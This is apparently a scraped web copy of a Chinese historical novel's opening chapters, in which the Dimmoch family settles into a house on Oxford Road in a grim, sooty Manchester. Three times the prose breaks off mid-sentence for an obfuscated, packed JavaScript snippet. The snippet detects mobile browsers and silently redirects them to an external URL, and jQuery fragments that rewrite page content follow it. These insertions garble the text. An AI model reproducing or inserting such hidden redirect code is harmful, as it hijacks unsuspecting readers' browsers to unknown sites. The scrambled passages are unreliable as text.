《再看我就报警了》 1. 重返曼彻斯特 “你在看什么,黛菲?” “妈妈,你看那儿像不像雪?”黛芙妮指向街边红砖建筑后庞大的黑色阴影上方飘扬的白点。 “黛菲你真该去看看医生了,我时常觉得你的想法过于另类,明明是肮脏的棉絮也能被你看成白雪,雪要是有思想这会儿该哭了。” “安娜,别这么说你妹妹。” “真搞不懂爸爸为什么要选择搬来曼彻斯特,一座到处飘着棉絮的城市!我听说这种东西吸进肺里是会死人的,你们别不信!”安娜将脖子上的丝巾解下来掩住口鼻,“噢,这行李真重,为什么我们不能多雇佣一个仆人呢?” “安娜,你是在这里出生的,在你两岁的时候我们才搬去利物浦。” “妈妈,我只记得自己在利物浦的生活。”安娜说,“总之,我不喜欢这里。” “别再抱怨了,叽叽喳喳的像麻雀一样,吵得我头疼。” “爸爸,您还好吗?”黛芙妮拎着酒红色的包袋吃力地往前走几步,和狄默奇先生持平。 “别让我听见你姐姐的抱怨我就好得不得了!”狄默奇先生伸出一只空着的手轻轻抖掉黛芙妮头顶的棉絮,“走过这条街我想就能远离棉纺工厂了,你还提得动吗,黛菲?” “我——” 黛芙妮还没说完就被安娜打断。 “爸爸,你怎么不问问我提不提得动,我的手都快被皮革磨出泡了!”安娜双手拎着行李箱快步走上前说,“爸爸,新房子在哪里?先说好我可不要住在这附近,你瞧瞧除了那些可怕的棉絮外还有那些平民的眼神——天呐!他好像是朝我们走来的!” 安娜立马从靠着街边的那一边走到里侧,躲在黛芙妮的左边。 她说的那个人看上去没有色彩像雾一样,黑色如帘子的头发、灰色的破旧衬衫式帆布外套,双手插兜,走路像个钟摆。 黛芙妮拉紧父亲的袖子。 家里的仆人,腰比水桶还粗的女仆人卡丽将走在后面的狄默奇太太挡在身后,眉头拱起,气势十足。 “先生——”狄默奇先生站在原地,面露疑惑地朝那男子开口。 黛芙妮察觉父亲抓住她的手腕。 那位先生好像没有听力,触觉也很迟钝,他笔直的朝狄默奇一家走来又匀速的越过他们,然后出乎意料的弯腰在角落的垃圾堆翻了起来。 “天呐!”安娜两个跨步又绕回了狄默奇先生的右手边,“那里居然有个垃圾堆!” 她放下行李箱,连忙拉起一点裙摆用力拍打:“爸爸,妈妈,我们快点离开吧,这里又臭又吓人,我再也待不下去了!” “安娜,你不能这么说话,他们已经很可怜了。”狄默奇太太责备完大女儿,又轻声对那个麻木的流浪汉说,“愿主保佑你。” 黛芙妮捏住胸口的银十字架,怜悯地转过头。 狄默奇先生拉起她的手,大步往前走去。 一路上,黛芙妮看够了一刻不停飞扬的‘雪花’和沉默、奇怪的曼彻斯特居民,她也迫不及待地想要逃离这里,离开这种压抑的环境。 转过一个弯,跨过一座钢铁大桥,穿过一条街道,通过狄默奇先生拿着的纸条在一个小时后终于找到了正确的地址。 这片居民街区较为安静和他们刚下火车出来的街区不同,这里有更多的颜色和装饰,来往的人大多衣衫革履、面貌精神。 即使现在已经三月,一根根路灯上还挂着圣诞节的红色小帽子,街面铺了砖石,路边更是多了一块块切割整齐的小巧绿坪。 “牛津路一百零八号——”狄默奇先生仔细核对手中的纸条和面前红砖房门口挂着的门牌号,“是的没错,就是这里。” 朝前是直通大门的两米宽的台阶,两侧装了铁栏杆。 黛芙妮往右侧看去,那里还有一块用半腰高的铁栅栏围起来的地方,通过几阶朝下走的楼梯就能看到进入地下室的门。 “我的腿都快没有知觉了,我从未走过这么多路。”安娜拿出帕子擦拭额头的汗,“刚刚来时我看见前面那条街有一家咖啡馆,卡丽等会儿你去那儿跑一趟,我要一杯热拿铁。” “小姐,一会儿我还得整理屋子的卫生呢,你总不能期望自己晚上躺在灰尘上睡觉吧。”卡丽气喘吁吁地说,“现在狄默奇家可只有我一个佣人了,又不指望你们能动手,我哪还有时间跑出去。” 安娜气愤地直跺脚又拿唯一的仆人没办法,谁让对方说的都是事实。 “我不管,我就要喝咖啡!”她也不知道向谁提要求了只是喊着希望有人答应她。 黛芙妮受不了姐姐的撒泼,她跟上父亲的脚步走上台阶站在一百零八号的门口。 狄默奇先生从大衣内侧摸出一串钥匙:“是哪个呢?啊,应该是这个。” 打开门,意外的没有沉重的霉气扑面而来,也没有厚厚的灰尘欢迎喝彩。 黛芙妮一眼便看清了这栋房子用来招待客人的地方。 “是一间两厅六室的房子不包括地下室两间佣人房,对我们来说足够了。”狄默奇先生还算满意。 进来正对楼梯和一扇门,往右走是最大的会客室,墙壁贴着泛黄的碎花壁纸,壁炉和沙发有些陈旧但也过得去,还有一张矮矮的木桌子,除此之外什么也没有了。 安娜已经跑上二楼,她趴在楼梯上大声说:“我要先挑选房间!” 黛芙妮放下行李,藏不住好奇转了起来。 “卡丽,你去地下室看看有没有工具。”狄默奇先生对卡丽说。 走了近一小时路的狄默奇太太弹了弹沙发疲惫地坐下,她抬头打量这栋三层楼高的不算宽阔的房子。 “曼彻斯特......”她轻声地在回忆,“一切都要重新开始了。” 狄默奇夫妇在曼彻斯特生活过三年,后来因为狄默奇先生应聘上了利物浦大学才离开。 十几年的尘封早已掩盖三年的痕迹。 “这儿比我们在利物浦的房子高一些窄一些。”敛去感叹,她点评。 “是啊,还要比那儿贵一些,一年要四十镑。”狄默奇先生摘下头上的高顶礼帽用手抓了抓凌乱的金棕色短发,“不过你们别担心,一切顺利的话我明天就能入职,一年的收入不比当大学教授来得少。” “是在哪家出版社?我们来的时候似乎没有看到任何一家。”狄默奇太太问。 “在《哲学杂志》,瓦里克街上。菲利普说从这儿走到那儿大概三十分钟的路程。”狄默奇先生看起来一点也不在意将来上下班所需要耗费的大量时间。 “你一定需要一辆马车。”狄默奇太太肯定地说。 “我不需要,如果你们需要的话。”狄默奇先生说,“我们还是有买马车的钱。” “还是租一辆吧,买有些贵了。”狄默奇太太有些惆怅,“来时我们就说好什么也不抱怨什么也不多问,但我还是担心。” “担心什么?”黛芙妮从餐厅逛完一圈回来问。 她大致看了一楼的餐厅和书房、小会客室和后院,除了装修陈旧以外该有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399916|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有。 对于新家唯一有些不满意的是这儿总有一股淡淡的机油味,也许这是曼彻斯特独有的气味。 “你妈妈担心这儿的菜钱啦,邻居啦,天气啦,大概没有什么不担心的。”狄默奇先生说。 踏踏踏踏的声音由远到近响起,安娜提着裙摆跑过来:“我选好了,我要三楼靠街的那间房,正好能看到街边的景象。噢对了,爸爸妈妈我看过了二楼的卧室正好适合你们居住,我不和你们抢。” “真是感谢您的大方体贴。”狄默奇先生怪模怪样地说。 黛芙妮在父亲的帮助下将行李提到三楼剩下的那间卧室中,正好背街。 她绕过空荡荡的木床,站在窗户边往下看就是自家的后院:一间木棚和一个石头砌的粗糙的小房子。 往外远眺是一栋栋红砖建筑,再远些她看到了一点冒头的漆黑的、冒着巨大浓烟的阴影。 “墙纸有些磨损了。壁炉需要修一修,好在这个我等会儿就能上手也用不着请人来。”狄默奇先生低头敲敲壁炉的内里和外壁。 “爸爸,现在几点了?”黛芙妮打开箱子,有些发愁不知道把衣物和一些零碎的东西放在哪里,“也许我们需要有人去买些柜子什么的。” “现在是上午十点。” 还早,勤快点晚上睡前就能将屋子都收拾出来,当然前提是他们都要帮卡丽的忙,否则靠她一个人今晚只能睡大通铺。 黛芙妮思索后决定去外面打探,买些必需品。 她转头看到狄默奇先生蹲在地上检查木板又扭头望向外面灰蒙蒙的天空,很突然地说:“爸爸,艾肯先生给您介绍了什么工作?编辑还是策划?” “学术顾问,如果帮忙专利改进、出版自己的书籍或设备研发薪资另算,听起来是不是比做大学教授有前途得多?”狄默奇先生说。 “所以爸爸您能和我说说为什么辞职吗?您在家——我是说在利物浦的家里总是闭口不谈要么敷衍一二。”黛芙妮说。 “黛菲,你很看重理由吗?”狄默奇先生站起来拍拍手掌。 “也许不?”黛芙妮思量着挽上他的胳膊,“但我现在就想知道,快说说。” “只不过是理念不合罢了,从来不是什么严重的理由,所以我一直觉得没必要多说什么,也确实没什么可说的。”狄默奇先生说,“任何时候都别太拘泥于从前,除非你的腿走不了了。” “那您选择来曼彻斯特是因为这儿有份不错的工作以及您对这儿还有点熟悉?” “答对了,真想给你加上十分!”狄默奇先生优哉游哉地说,“你喜不喜欢这里?” “老实说吧教授,不喜欢。”黛芙妮直白地说,“这儿的光线比利物浦暗多了,灰烟浓稠的骇人,住上一段时间我敢保证整个人像被丢进烟灰盒里一样,而且没有太阳人的脾气也会变得糟糕。” “我觉得我不会,你也许看不见但我却能明确地感觉到‘太阳’的威力。”狄默奇先生拍拍黛芙妮金色的脑袋,“这不比太阳来得耀眼?” 黛芙妮弯起嘴角,知道最想知道的两个答案后她就打算下去了不能在这儿继续浪费时间。 “我打算去外面买些家具,顺便将午餐带回来,我们没有准备食物什么也做不了。” “给我带一份炸物吧,好心的小姑娘,不吃饱我可修不了你的壁炉。”狄默奇先生古怪地皱脸,“今天怎么偏偏就是星期日呢。” “鱼丸可以吗?”黛芙妮趴在门外问。 “那就两份。” 2. 一百零八号 黛芙妮站在楼梯中间伸出手抚摸深色的木板墙壁,唯一的灯光来自壁上的一个个煤气灯。 为了夜晚的安全着想,这些已经失去原本透亮的玻璃罩应该快些清洗出来。 她默默记下需要在今天就办成的事:买家具、换掉窗帘、擦拭灯罩、清理壁炉、购买煤炭等等。 等走到一楼客厅她也有了大致的计划,于是她对坐在沙发上的妈妈和姐姐说:“妈妈,安娜,你们需要做点什么,我们不能指望卡丽一个人一天就将这栋房子收拾得能住人。我要出门采买家具和午餐你们谁愿意和我去?” “我可不去,这都是仆人该做的。”安娜拨弄手指上的戒指淡淡地说,“你要做我不拦你,但你别对我发号施令。” “如果你不介意就这么睡在那张只有个架子的床上,你就这么坐着吧。”黛芙妮将厚厚的玫粉色三角披肩披在身上,又将一顶别着花朵的圆顶小礼帽固定在头顶。 “你一个人去我可不放心。”狄默奇太太站起来披上披肩,拢了拢垂在后脑勺的发髻。 “妈妈给我带一杯热拿铁好吗?”安娜趴在沙发上说。 “楼梯的煤气灯罩需要清理,还有一些带来的零零散散都要拿出来。”黛芙妮对她说。 “我才不会做,做粗活会让我的手指受伤!”安娜撇过脑袋。 黛芙妮张嘴想再说几句,狄默奇太太将手放在她胳膊上,她接过刚刚的话题:“安娜,你要是想喝热拿铁就去把煤气灯罩洗干净,针线盒、桌垫都要拿出来。” 妈妈发话,安娜也没了继续傲着的本事,她不情不愿地嘟起嘴巴。 往牛津路左侧过去是一条热闹的街道,咖啡店、面包店、餐厅、报亭应有尽有。 在这儿做生意的人即便穿的不正式,至少也有几分颜色不像之前遇到的人灰扑扑的,只不过他们有一个共同点那就是神情冷漠,街道上很少有说话声几乎是轮子和马蹄的合唱。 黛芙妮和母亲挽着手好奇地观望两侧,直到找到一家家具店。 要的急只能选择店内现有的,而她们要的又多狄默奇太太掂了掂钱袋决定部分买二手的。 老板在她们进去的时候抬起过眼睛之后一直在削木块,等到黛芙妮主动询问他的情况下才站起来为她们介绍,这让从小在温暖热情环境中成长的黛芙妮很不习惯。 等她们挑选完让老板把家具送去牛津路一百零八号后,狄默奇太太灵活地问:“先生,你知道这附近哪里有卖窗帘和餐具的地方吗?” “往前走五百米。” 从家具店走出来的黛芙妮和狄默奇太太吐了口气。 “我从来不习惯这里。”狄默奇太太说,“但谁能想到我们会回来呢?也许只有主了。” “我已经开始想念利物浦了。”黛芙妮说,“妈妈,您和爸爸从前在曼彻斯特的时候住在哪里?” “在城市与乡下的交界,那时候你爸爸还没找到工作。安娜就是出生在一片黄水仙盛放的季节,而你则是在我们刚到利物浦的第二个月来到这个世界的。”狄默奇太太露出笑意。 “这次回来,您要去拜访曾经的邻居吗?”黛芙妮问。 狄默奇太太摇头:“可惜的是我们并没有交往亲密的邻居,十几年过去那里也不知道成什么样了。” 当街上人变多后她们来到最后一家餐厅,即将完成最后一项外出清单,同时这条街她们也摸索得七七八八。 推开挂着风铃的玻璃门,黛芙妮和狄默奇太太走进一家英国传统菜馆,进入这家餐馆前她们就观察过了确保是专门做中产阶级伙食的店铺。 店面不大,见黛芙妮和狄默奇太太眼生伙计很有眼色地拿过一张手写菜单给她们。 黛芙妮翻开看了两眼。 很好,这里的菜品和利物浦没有很大的区别,在熟悉的领域她立马有了想法:“两份炸鱼薯条、四份素面条加些洋葱最后要一些腌渍的橄榄和小黄瓜。” 伙计多看了她们一眼说:“今天一定是周日啦。” 逛了这么久难得遇到一个主动与她们说话的曼彻斯特人,母女俩居然有些受宠若惊。 “是的。”狄默奇太太点头,“你为什么这么说?” “因为一到周日厨房的素菜和鱼类就会卖得特别好,基督徒的禁忌我们可熟了,你们放心一定是真材实料的鳕鱼。”伙计说,“带走?” “是的。”黛芙妮问他,“你知道附近哪里有基督教堂吗?” “出门右拐走到尽头再左拐,大概五分钟你们就能看到教堂顶上的十字架了。”伙计说,他在整理菜单眼睛又止不住一眼又一眼地抬起来。 “我们有什么不得体的地方吗?”黛芙妮问他,不忘低头检查自己的天蓝色裙摆和同色的绸缎便鞋。 “没有。”伙计立马垂下脑袋。 黛芙妮有些泄气,她试着融入这里却在一开始就碰壁,她转过脑袋看向三三两两的客人,结伴而来的人隔着一张桌子也不吝啬为对方提供笑容,与不相熟的人即使摩肩接踵也没有一丝反应。 “黛菲?”狄默奇太太在她眼前晃手,见她回神说,“我们走吧。” 从伙计手里拿走几个大纸盒子,前后离开餐厅。 在路过咖啡馆的时候,狄默奇太太无奈一笑她问黛菲想喝什么,认为今晚大概率会熬夜的黛菲说要一杯卡布奇诺。 她站在咖啡馆门口等待母亲,当她一动不动的时候突然发现原来那些居民并不是什么都不在意他们也会时不时地打量她。 黛芙妮好几次转身通过咖啡馆外的一小块玻璃墙查看自己的着装,一切都没有问题,不论是穿着还是仪态或是她的美貌。 心里七上八下不再平静,等母亲出来她就急不可耐地想要回一百零八号。 “发生什么事了?”狄默奇太太问。 “他们总是打量我,可我确保我没有哪里是不整洁的。”黛芙妮说。 “别担心,等你习惯就会发现这是一种‘传统’。”狄默奇太太说。 再次推开牛津路一百零八号大门总算有些大的变化,新家具占满了整个会客室,零零碎碎的小东西将过道挤得差点走不了人。 搬家具的老板见到她们,夹着一块板子就过来:“一共三十镑十五先令。” 狄默奇太太将咖啡放在一个鞋柜上,从钱袋里数出纸币和硬币。 听到她们动静的卡丽高喊:“太太,小姐,这些家具我们怎么搬得上去,不如问问他们搬不搬!” 黛芙妮在一个素面松木衣柜后看到了卡丽的白围裙,她正艰难地扭胯想要走过来,可因为体型太过庞大被困在了原地:“我真是——一点也动不了了。” “我来帮你。”黛芙妮放下纸盒,提起裙子挤过去。 狄默奇太太和家具店老板谈妥,多给一个先令就把这些东西全搬到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399917|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该放置的地方,他的员工一甩膀子立马动起来。 “安娜和爸爸在哪里?”黛芙妮将卡丽身侧的针线盒、软垫扶手椅、一个箱子艰难地挪到另一边。 “太感谢了,黛芙妮小姐。”卡丽终于能弯腰了,她捡起地上的壁炉镜说,“安娜小姐躲到楼上去了说是去清洗灯罩可我才不会相信,她一定是在躲懒。先生在书房整理他的书本,虽然我很想帮忙但他将那些书看得比宝石还珍贵!决不让我碰一下。” 用了半小时,家具店老板带着他的伙计离开了一百零八号。 这些人一走,餐厅一宽敞,安娜和狄默奇先生也出现了。 “我太饿了,那些灯罩洗得我的手都皱起来了,妈妈你看!”安娜抱怨地伸出双手非要大家看看她的劳动成果。 狄默奇太太闻言对她赞赏一笑。 黛芙妮多看了她几眼,有些意外但更多的是欣慰:“多擦些手部软膏,一天就能好。” “要是你的成果有你嘴上说的那般就好了,只可惜到现在为止也只有两个灯罩得到了荣幸。”狄默奇先生坐在新买的温莎椅上说。 “爸爸,你为什么总是热衷于打击你女儿的积极性。”安娜拿起叉子低头一看,“一点肉都没有?今天又到周日了?” “如果你保持谦逊和安静并且十分同意家庭的团结,我一定会用最好的词来夸赞你。”狄默奇先生说。 狄默奇太太轻咳两声,她牵起黛芙妮和丈夫的手,狄默奇先生牵着他大女儿的手。 众人闭上眼睛,听狄默奇太太祈祷:“亲爱的主感谢您赐下今日的食物,求您洁净这些食物,保佑我们能健康享用。” 她说完问黛芙妮有没有什么想说的。 “愿主保佑我们在这座城市收获安稳和善意。”黛芙妮虔诚地说。 狄默奇先生和安娜并不信奉基督,但饭前祈祷和每周日吃素这么多年来从未拉下过,因为一家之主的狄默奇先生认为这样的行为可以增加家庭的凝聚力。 几人花了一下午的时间在吃晚餐前终于将房子大致清理出来。 “太太,我在来的时候看到菜摊了。我得快些去,不过这会儿的菜和肉可不敢保证品质。”卡丽挎着菜篮子去打探这儿附近的菜摊。 狄默奇先生在修理几个壁炉;黛芙妮将桌垫和沙发巾整理出来上下三楼的铺上;狄默奇太太不太熟练地熨烫衣物;安娜终于洗完了那些煤气灯罩在大声的自我夸赞和抱怨下又被狄默奇太太叫去将熨烫好的衣物整齐叠好。 “我一点也受不了了,妈妈你到底什么时候再找一个女佣?总不能一直我们自己做吧?” “过些日子。”狄默奇太太思索,她也不习惯做这样活计。 通常招聘女佣都是通过教会、邻居或是亲友,她们在这里除了艾肯先生已经没有相熟的朋友了,所以大概率只能通过登报纸或找中介机构来寻找合适的人。 车夫倒是可以去车行租赁马车时问问那儿的人。 黛芙妮从楼上忙完下来接过母亲手中的熨斗,交替一下。 “妈妈你一定要比着黛菲这样的找,我都不知道她哪来那么多精力。”安娜说,她的双手都快抬不起来了,现在只想舒舒服服地窝在沙发上再喝上一杯加糖加奶的红茶和一份曲奇饼干。 “因为我不想把问题拖到明天,明天又有明天的烦恼。”黛芙妮说。 咚咚咚,有人敲门。 3. 邀请 狄默奇太太打开门,语调猛地拔高,有些惊讶和欢喜:“艾肯先生,你回来了!可我听约翰说你去了剑桥郡。” 听到动静的黛芙妮和安娜默契地整理自己的着装然后走到狄默奇太太身后。 艾肯先生是个瘦高个,圆润的鼻头上架着长方形银边眼镜,手上还有一根油亮黑漆的手杖。 他握住狄默奇太太先伸出来的手通过体温向对方证明他是真实的。 “艾尔莎你一点没变,”接着他又亲切地转向黛芙妮和安娜,“安娜和黛芙妮倒是比你高了。” “艾肯先生。”黛芙妮和安娜一前一后回应他。 “我刚从火车站过来,实在是等不及要见见你们了,怎么不见约翰?一定又在摆弄他的书本吧。”艾肯先生说。 “爸爸在修壁炉。”安娜说。 “可真稀奇,狄默奇教授还会修壁炉呢。”艾肯先生在狄默奇太太的招呼下坐在沙发上,他打量客厅赞叹道,“艾尔莎你真是一名绝好的贤内助,看看这么快就将这儿收拾得井井有条。” “多亏了我的两位女儿。”狄默奇太太听到对她家务的夸赞笑得合不拢嘴,“不如留下吃顿晚餐,家里打扫得差不多了。说来我们还没当面好好感谢你呢,给约翰介绍了这样一份好工作还有这栋舒适的房子。” “好太太可别说了,再说我可就不留下吃晚餐了。”艾肯先生乐呵呵地嘬了一口红茶。 黛芙妮在和他打过招呼后就去了楼上喊人。 狄默奇先生放下手里的工具,急着去找他的好朋友艾肯先生。 两人在会客室亲热地拥抱又互相打量。 “菲利普我们有多久没见了?一年、三年?我都记不清了。”狄默奇先生欣喜地拍打对方的肩膀。 “上次见黛芙妮才到我这儿。”艾肯先生比画了一下肩膀。 “那大概有四年了。”狄默奇太太笑着说。 “四年!安娜和黛芙妮都是大姑娘了,安娜二十一了吧,黛芙妮十九。”艾肯先生说,“过不了多久,你们可就要寂寞了。” 安娜脸色有些不好她沉浸在一种奇怪的氛围中,不再全身心地听艾肯先生说话。 黛芙妮有些明白地没去打扰她。 卡丽挎着满满一篮子菜回来,听到楼上的动静上来看看,她庆幸又高兴地说:“我回来的时候见有人在卖羊便做主买了一条腿,烤羊腿可是我最拿手的菜之一!” “那我今天来得真是时候。”艾肯先生一点不介意和佣人聊上两句,他为人随和、知识渊博和曾经的狄默奇先生一样是一名大学教授,如今在曼彻斯特大学就职。 黛芙妮让卡丽先将熨斗和衣物放到其他房间将大会客室空出来,然后她才端着一杯红茶坐在沙发上听两位先生交谈。 “你不肯听我的,不然我们又可以做上同事了。”艾肯先生对狄默奇先生说。 “我早就不耐烦待在大学里了,那些蠢笨的学生常常气得我头疼,如今再不高兴面对那么多人了。”狄默奇先生说。 “关于对学生的看法我和你保持一致。”艾肯先生说,“我这次来还希望你们一家后天能去我那儿吃顿饭,我还邀请了几位朋友介绍你认识。” “谢了,菲利普。”狄默奇先生诚心说。 艾肯先生在狄默奇一家还很简陋的餐厅享用了一顿美味的晚餐后就很有眼色地离开了。 黛芙妮在他走后又将熨斗和衣物拿出来。 “妈妈,我想买条新裙子参加后天的晚宴,我敢打赌艾肯先生的朋友一定非富即贵。”一顿晚餐的工夫让安娜恢复了原样,这会儿她正磨着狄默奇太太的同意。 狄默奇太太算了算家里的存款,又考虑到搬到新地方参加第一场宴会必要的脸面问题,最终同意了安娜的请求决定一家四口外加一个忠仆每人做一件新衣服。 夜晚,黛芙妮疲惫地躺在新床上不出意料的没有困意。 她翻来覆去地想,在这儿住的久了会不会真的像安娜说的那样得肺病,哎,可这又怪不了父亲,将她带来这个世界给她充足的爱又吃穿不愁,即便是要住在刚出火车站的棉纺厂附近她也不会多抱怨一个字。 艾肯先生的朋友又会是些什么人呢?不过她猜大概都是和他以及父亲一样的老教授们,那宴会一定是新奇又有趣的。 她立马双手交握向上帝祈祷他们都像艾肯先生那样热情随和。 接着她又不可避免地思考为什么同为曼彻斯特人,艾肯先生和那些居民差别如此之大,等后天见到艾肯先生她一定要问他这个问题,希望别是她犯了这儿的什么忌讳才好。 侧过身面对梳妆台,她克制不住地又想要叹气。 这儿哪哪都让她很不习惯,卧室不如利物浦的宽敞、月光很难渗透那些片刻不歇的烟雾、虽然多了一层楼可面积也变小了,每日走楼梯都能让她厌烦起来。 最难以接受的是她感受不到这座城市的活气。 意识到自己过度地抱怨,她又告诫自己这是不对的,她应该想些美好的地方变得积极起来。 也许,这儿的素意面味道还不错...... 第二天一大早吃过早餐,狄默奇先生徒步去出版社报道。 黛芙妮和妈妈、姐姐相伴上街计划将附近的路线熟悉熟悉,再租一辆马车回来。 今天她们决定往右边去,穿过一条大多卖些书籍笔墨的小街走着走着就来到一片楼缝中的小广场,几只苗条的鸽子停在椅子或地面上,基督教堂的十字架矗立在屋顶尖。 意外地从昨天得到的路线之外找到教堂让黛芙妮和狄默奇太太有些激动,既然路过了她们当即决定进去和上帝打声招呼。 阳光穿过教堂两侧的琉璃折射后像彩虹一样装饰在半空,两边是一排排木制长椅现在只有零星几个人坐着,尽头的墙壁上雕刻着巨大的十字架。 安娜不想待在里面便催促黛芙妮和妈妈离开,她从来都搞不懂为什么她们会信基督也搞不懂教堂里面有什么好看的久久不愿离去。 从教堂出来,她们决定去牛津路尽头的集市租辆马车用来载一会儿要买的东西。 她们下了台阶又穿过一片居民区和一座石桥,奇怪得好像进入了另一个世界。 “我们走到哪里了?你们确定是这边吗?”安娜不停地发出疑问。 最后一个弯角过后。 红墙被烟熏成黑色,路边的水沟满是不明恶臭的液体,街边随意摆放的袋子里面装满了棉花,篷车、货车后面都有人在搬运棉花袋子。 黛芙妮挽着妈妈的手,安娜也明智地紧闭双唇。 一些女人坐在破板车上或是地上,一桶桶白花花的东西摆在面前,她们往里加入有些浑浊的水。 路过时黛芙妮好奇往桶里看了一眼,里面是被砍下来的还睁着眼睛的禽类头部,她吓得捂紧胸口。 这是什么地方?这些人在做什么? 黛芙妮又鼓起勇气去观察那些男人、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399918|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人、小孩。 他们大部分都是一边做自己的事一边默默地盯着她们,黛芙妮察觉双方中间似乎有种微妙的平衡,谁都不开口不好奇去打破。 终于穿过这条奇怪的街道,母女三人手心居然出了一层汗,实在是未知带来的可怕太过了。 “小姐,您要买花吗?”很小很小的一道稚嫩的声音响起。 黛芙妮停下脚步,发现是一个脸蛋脏兮兮的穿的比抹布还不如的小姑娘发出的,她刚好站在这个小姑娘的正前方。 狄默奇太太和安娜也看过来,大概是这里没什么人的缘故安娜那克制不住的说话欲望再次喷涌而出:“这到底是什么鬼地方?噢天呐,看看这个小老鼠,黛菲我建议你最好离她远一点!谁知道她身上有没有携带什么病菌,也不知道这儿的医生水平怎么样。” 小姑娘看上去不过七八岁,狄默奇太太怜爱地问她:“你的父母在哪里?” 她不回答,反而低头摆弄她的小花篮,里面的花已经蔫哒哒的了品种也少得可怜还几乎都是不值钱的野花。 “多少钱?”黛芙妮问她。 这下小姑娘才抬起头来:“一个便士。” “瞧你年纪小小的居然就会出来骗人了,就这些花就是卖一个法新都没人要。”安娜没好气地说,然后又着急忙慌地将脖子上的丝巾捂在口鼻处不停催促狄默奇太太和黛芙妮离开。 “安娜!”狄默奇太太严厉地喊她的名字,让她把嘴巴闭上。 安娜扭过头生气地不再看她们。 黛芙妮不满安娜的态度,但瞧见母亲已经制止也只能歇了和姐姐争论的想法,从袋子里拿出一个便士给小姑娘买走了她手里的小花篮。 在小姑娘手里接过时她眼尖地发现对方宽大的袖子下右手怪异的有六根手指,黛芙妮差点尖叫出声。 这样的身体异样在基督徒看来是恶魔的特征,是‘背叛上帝完美创造的印记’。 她下意识地想要甩掉手里的花篮,只觉得手心烫得疼人。 “对不起,太太、小姐,这钱我们不收了。”一个瘦得吓人的女人出现抱住那个小姑娘将便士抠出来打算还给黛芙妮,很明显她察觉到了什么。 狄默奇太太并没有瞧见小姑娘的异常,她好心地让这对母女收下:“这孩子摘得这么辛苦,便士是她应得的。” 黛芙妮对上那双黑白分明的眼睛,犹豫地撇过头不希望眼里的惊恐被发现,勉强冷静下来后她盯着地面说:“收下吧,这些花挺漂亮的。妈妈我们走吧。” 走远一点,细心观察着她的狄默奇太太才问发生什么事让她失去冷静。 “大概是黛菲终于发现她们身上的跳蚤比英国的绵羊还多。”安娜说。 “不,我只是发现——”黛芙妮在确保周围没人她才用很细很细的气音说,“那个小姑娘的右手有六根手指。” “啊!”安娜捂嘴嘴,一双眼睛瞪得快凸出来。 狄默奇太太猛地停下脚步转头看去,那对母女早已不见。 安娜吓得快要哭出来了,她哆哆嗦嗦地抱紧母亲的胳膊:“妈妈,妈妈我们快点离开这里吧,这里太不祥了。” 黛芙妮心思混乱的还沉浸在苦恼的挣扎中,在圣经里曾描述巨人歌利亚手脚皆六指与恶魔有着密切的关联是道德缺陷的警示,她们应该远离这样的人。 可是她又不由自主地想,那个小姑娘才那么一点大她懂什么呢,绝不可能是什么罪恶的囚犯。 4. 初次见面 狄默奇太太用力抓住安娜的手腕,用冷静不失温柔的语气说:“安娜,每个人都是上帝独一无二的创造包括天生残疾的人,我们不应该对他们施加异样的眼神或歧视。” “是啊,妈妈说得对,我们不能因为她有缺陷就排挤她,这是不对的。”妈妈的话让黛芙妮彻底冷静下来,她对这个看法变得坚定。 “噢,妈妈黛菲你们别再说了,我现在只想离开这里。”显然安娜一点也没听进去。 狄默奇太太被安娜拖着往前走。 黛芙妮盯着手中朴素粗糙的小花篮内心涌现一股愧疚感,母亲的话让她的良心得以喘息,可当时她下意识地想要甩掉花篮的行为却暴露了原来她潜意识里也是排斥这种残缺的。 她转过头再次往刚刚那个街角看去,只有一个提着篮子的佝偻女人路过,那对母女早就没了踪迹。 也是,那个小姑娘天生异于常人她们一定生活得很辛苦要随时提防那些排挤的人出现。 “黛菲!” 黛芙妮抓紧小花篮加快脚步跟上母亲和姐姐。 她们足足花了半个小时才从这片街区绕出来。 站在宽敞的大道上,街边重新出现的鲜花似乎在欢迎她们回到正确的地方。 “太好了,终于离开那个鬼地方了,我简直是要喘不过了。噢天呐,六根手指!还好我没有亲眼所见不然今晚一定会做噩梦的。”安娜一出来就开始喋喋不休地唠叨。 黛芙妮被她的态度弄得有些火大:“安娜,如果你打算一路说着回去我敢保证你绝对不会有一个美梦的,因为噩梦就是想离开也会被你拽着动不了一点。” 等她们找到一家裁缝店的时候安娜才回过味来,原来黛芙妮在嫌她多嘴,她不服气地想要和黛芙妮争个对错。 